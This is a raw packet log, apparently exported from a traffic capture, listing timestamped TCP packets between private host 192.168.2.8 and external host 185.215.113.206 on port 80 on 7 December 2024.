Dec 7, 2024 15:06:46.113811016 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.114516973 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.114563942 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.114635944 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.114680052 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.115402937 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.115446091 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.115499973 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.115545034 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.116283894 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.116329908 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.116367102 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.116410971 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.117367029 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.117420912 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.117549896 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.117598057 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.118063927 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.118109941 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.118128061 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.118170977 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.118863106 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.118906021 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.118978024 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.119019985 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.119751930 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.119801044 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.119863033 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.119908094 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.120662928 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.120716095 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.120739937 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.120784044 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.121510029 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.121557951 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.121634007 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.121682882 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.122406960 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.122453928 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.122621059 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.122665882 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.123325109 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.123369932 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.123409033 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.123447895 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.124144077 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.124183893 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.124264956 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.124305010 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.125027895 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.125068903 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.125165939 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.125207901 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.125880957 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.125926018 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.125987053 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.126036882 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.126753092 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.126797915 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.126884937 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.126928091 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.127670050 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.127713919 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.127784967 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.127832890 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.128520012 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.128561974 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.128675938 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.128717899 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.129415989 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.129455090 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.129513979 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.129554987 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.130292892 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.130335093 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.130378962 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.130423069 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.131213903 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.131258011 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.131293058 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.131331921 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.132057905 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.132102013 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.132134914 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.132177114 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.132904053 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.132949114 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.133023977 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.133069038 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.133778095 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.133822918 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.133889914 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.133934021 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.134649992 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.134691954 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.134728909 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.134772062 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.135557890 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.135610104 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.136238098 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.136282921 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.136480093 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.136498928 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.136526108 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.136539936 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.137317896 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.137367010 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.137433052 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.137480021 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.138201952 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.138247967 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.138281107 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.138326883 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.139110088 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.139154911 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.139215946 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.139266968 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.139911890 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.139961004 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.140045881 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.140091896 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.140779972 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.140824080 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.140913963 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.140959978 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.141660929 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.141742945 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.141756058 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.141798019 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.142510891 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.142556906 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.142632961 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.142687082 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.143425941 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.143469095 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.143541098 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.143584967 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.144267082 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.144315004 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.144397974 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.144440889 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.145176888 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.145221949 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.145289898 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.145330906 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.146039963 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.146085978 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.146163940 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.146209955 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.146917105 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.146960020 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.147519112 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.147564888 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.147845984 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.147891045 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.147964001 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.148009062 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.148693085 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.148737907 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.148776054 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.148819923 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.149552107 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.149596930 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.149655104 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.149699926 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.150381088 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.150424004 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.150512934 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.150557041 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.151271105 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.151326895 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.151333094 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.151372910 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.152139902 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.152184963 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.152231932 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.152278900 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.153023005 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.153067112 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.153167009 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.153214931 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.153908014 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.153950930 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.154023886 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.154068947 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.154750109 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.154794931 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.154851913 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.154896021 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.155637026 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.155680895 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.155814886 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.155859947 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.156698942 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.156744003 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.302793980 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.302855968 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.302947044 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.302992105 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.303143024 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.303185940 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.303347111 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.303415060 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.303497076 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.303545952 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.304217100 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.304266930 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.304320097 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.304366112 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.305097103 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.305141926 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.305219889 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.305263996 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.305984020 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.306032896 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.306051016 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.306096077 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.306921959 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.306967974 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.307054043 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.307097912 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.307835102 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.307882071 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.307955027 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.308001041 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.308619976 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.308722019 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.308758020 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.308804989 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.309478045 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.309519053 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.309521914 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.309551954 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.310365915 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.310409069 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.310478926 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.310523033 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.311250925 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.311288118 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.311295986 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.311331034 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.312212944 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.312227011 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.312269926 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.312969923 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.313024044 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.313101053 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.313158035 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.313853025 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.313939095 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.313971996 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.314019918 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.314795017 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.314857006 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.314929962 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.314976931 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.315627098 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.315676928 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.315804005 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.315850973 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.316513062 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.316526890 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.316569090 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.317390919 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.317439079 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.317471981 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.317514896 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.318270922 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.318315029 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.318332911 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.318367004 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.319092035 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.319137096 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.319191933 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.319235086 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.319989920 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.320033073 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.320034981 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.320070028 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.320856094 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.320900917 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.321026087 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.321067095 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.321717024 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.321760893 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.321842909 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.321888924 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.322712898 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.322757006 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.322794914 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.322832108 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.323517084 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.323561907 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.323605061 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.323647022 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.324526072 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.324573040 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.324594975 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.324632883 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.325300932 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.325344086 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.325368881 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.325407028 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.326206923 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.326252937 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.326360941 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.326404095 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.326970100 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.327014923 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.327186108 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.327233076 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.327847958 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.327892065 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.328010082 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.328053951 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.328743935 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.328790903 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.328870058 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.328912973 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.329605103 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.329652071 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.329755068 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.329798937 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.330636978 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.330688000 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.330744982 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.330791950 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.331382036 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.331424952 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.331464052 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.331501007 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.332262039 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.332285881 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.332309961 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.332323074 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.333096981 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.333149910 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.333210945 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.333250999 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.333997011 CET	80	49738	185.215.113.206	192.168.2.8
